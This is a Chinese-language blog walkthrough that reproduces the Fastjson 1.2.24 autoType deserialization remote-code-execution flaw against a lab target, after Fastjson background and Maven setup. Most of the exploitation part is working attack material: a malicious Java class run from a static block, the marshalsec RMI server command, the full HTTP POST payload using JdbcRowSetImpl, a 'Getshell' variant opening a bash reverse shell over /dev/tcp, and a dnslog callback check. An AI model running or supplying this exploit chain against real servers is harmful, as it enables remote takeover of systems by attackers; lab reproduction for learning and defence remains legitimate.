Fastjson
Fastjson 是一個 Java 庫,可以將 Java 物件轉換為 JSON 格式,當然它也可以將 JSON 字串轉換為 Java 物件,Fastjson 可以操作任何 Java 物件,即使是一些預先存在的沒有原始碼的物件,
Fastjson 原始碼地址:https://github.com/alibaba/fastjsonFastjson
中文 Wiki:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN
Fastjson特性:
- 提供服務器端、安卓客戶端兩種決議工具,性能表現較好,
- 提供了 toJSONString() 和 parseObject() 方法來將 Java 物件與 JSON 相互轉換,呼叫toJSONString方法即可將物件轉換成 JSON 字串,parseObject 方法則反過來將 JSON 字串轉換成物件,
- 允許轉換預先存在的無法修改的物件(只有class、無源代碼),
- Java泛型的廣泛支持,
- 允許物件的自定義表示、允許自定義序列化類,
- 支持任意復雜物件(具有深厚的繼承層次和廣泛使用的泛型型別),
相關教程:https://www.runoob.com/w3cnote/fastjson-intro.html
漏洞簡介
fastjson在決議json的程序中,支持使用autoType來實體化某一個具體的類,并呼叫該類的set/get方法來訪問屬性,通過查找代碼中相關的方法,即可構造出一些惡意利用鏈,
環境搭建
靶機:192.168.99.100
攻擊機kali:192.168.99.121
kali安裝maven:
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-J299jkOM-1640099497299)(fastjson 1.2.24 反序列化任意命令執行.assets/image-20211219043412910.png)]](https://img.uj5u.com/2021/12/23/291023230920541.png)
下載成功之后先創建個mvn的檔案夾,然后執行以下命令:
mkdir /usr/local/apache-maven
mv apache-maven-3.6.3-bin.tar.gz /usr/local/apache-maven
tar -xzvf /usr/local/apache-maven/apache-maven-3.6.3-bin.tar.gz -C /usr/local/apache-maven/
update-alternatives --install /usr/bin/mvn mvn /usr/local/apache-maven/apache-maven-3.6.3/bin/mvn 1
update-alternatives --config mvn
vim ~/.bashrc
將以下內容放到bashrc檔案末尾處
export M2_HOME=/usr/local/apache-maven/apache-maven-3.6.3
export MAVEN_OPTS="-Xms256m -Xmx512m"
export JAVA_HOME=/usr/local/java/jdk1.8.0_211 #jdk路徑
保存后執行以下命令測驗mvn環境是否安裝成功
mvn -version
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-02bEB51D-1640099497300)(fastjson 1.2.24 反序列化任意命令執行.assets/image-20211219044057122.png)]](https://img.uj5u.com/2021/12/23/291023230920542.png)
安裝成功
漏洞復現
訪問:http://192.168.99.100:8090/
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-AMK2pY6k-1640099497301)(fastjson 1.2.24 反序列化任意命令執行.assets/image-20211219043132403.png)]](https://img.uj5u.com/2021/12/23/291023230920543.png)
先保存以下代碼為TouchFile.java 檔案
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
執行以下代碼會生成一個TouchFile.class檔案
javac TouchFile.java
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ohJblr1o-1640099497302)(fastjson 1.2.24 反序列化任意命令執行.assets/image-20211219044421268.png)]](https://img.uj5u.com/2021/12/23/291023230920549.png)
把編譯好的class檔案傳到外網系統中,并在class檔案所在的目錄,使用python開啟監聽:
python -m SimpleHTTPServer 4444
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ifKpGCoJ-1640099497302)(fastjson 1.2.24 反序列化任意命令執行.assets/image-20211219044831087.png)]](https://img.uj5u.com/2021/12/23/291023230920544.png)
或者將類檔案放到外網上,將class檔案放入phpstudy的WWW目錄下,啟動phpstudy開啟Apache服務,瀏覽器訪問class檔案地址(此處為本地ip)/TouchFile.class,可成功下載檔案,這里我放在192.168.99.127下,訪問如下地址:
http://192.168.99.127/TouchFile.class
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-lU0gGSpO-1640099497303)(fastjson 1.2.24 反序列化任意命令執行.assets/image-20211219045915597.png)]](https://img.uj5u.com/2021/12/23/2910232309205410.png)
可以成功下載,
這里我們選用第一種方式,也就是我們的class檔案在192.168.99.121:4444下:
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-oFEPkyq7-1640099497304)(fastjson 1.2.24 反序列化任意命令執行.assets/image-20211219055324926.png)]](https://img.uj5u.com/2021/12/23/2910232309205411.png)
接著借助 marshalsec 專案,啟動一個RMI服務器,監聽9999埠,并制定加載遠程類TouchFile.class
marshalsec :https://github.com/mbechler/marshalsec
專案編譯(去專案目錄下執行命令)
mvn clean package -DskipTests
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-rPgiqs00-1640099497305)(fastjson 1.2.24 反序列化任意命令執行.assets/image-20211219052522948.png)]](https://img.uj5u.com/2021/12/23/291023230920545.png)
會在target下 生成 marshalsec-0.0.3-SNAPSHOT-all.jar 這樣一個檔案
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-LDZ8pwKm-1640099497305)(fastjson 1.2.24 反序列化任意命令執行.assets/image-20211219052635615.png)]](https://img.uj5u.com/2021/12/23/291023230920546.png)
我們執行如下:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://class檔案的ip或域名/#TouchFile" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.99.121:4444/#TouchFile" 9999
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-0ec5ivkS-1640099497306)(fastjson 1.2.24 反序列化任意命令執行.assets/image-20211219052743941.png)]](https://img.uj5u.com/2021/12/23/291023230920547.png)
這個時候攻擊環境已經準備就緒了 ,抓包執行如下poc即可:
POST / HTTP/1.1
Host: 192.168.99.100:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.99.121:9999/TouchFile",
"autoCommit":true
}
}
回顯正常:
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Q5vtW30m-1640099497306)(fastjson 1.2.24 反序列化任意命令執行.assets/image-20211219055939754.png)]](https://img.uj5u.com/2021/12/23/2910232309205412.png)
驗證是否成功執行
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-aJcT1aTo-1640099497307)(fastjson 1.2.24 反序列化任意命令執行.assets/image-20211219060112853.png)]](https://img.uj5u.com/2021/12/23/291023230920548.png)
如果想執行其它命令,修改最初的java檔案重新操作即可,
Getshell:
將TouchFile.java的內容改為:
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/反彈shell的ip/埠 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
回顯dnslog(驗證):
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"ping", "xxx.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
ok!
僅供學習!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/390575.html
標籤:其他
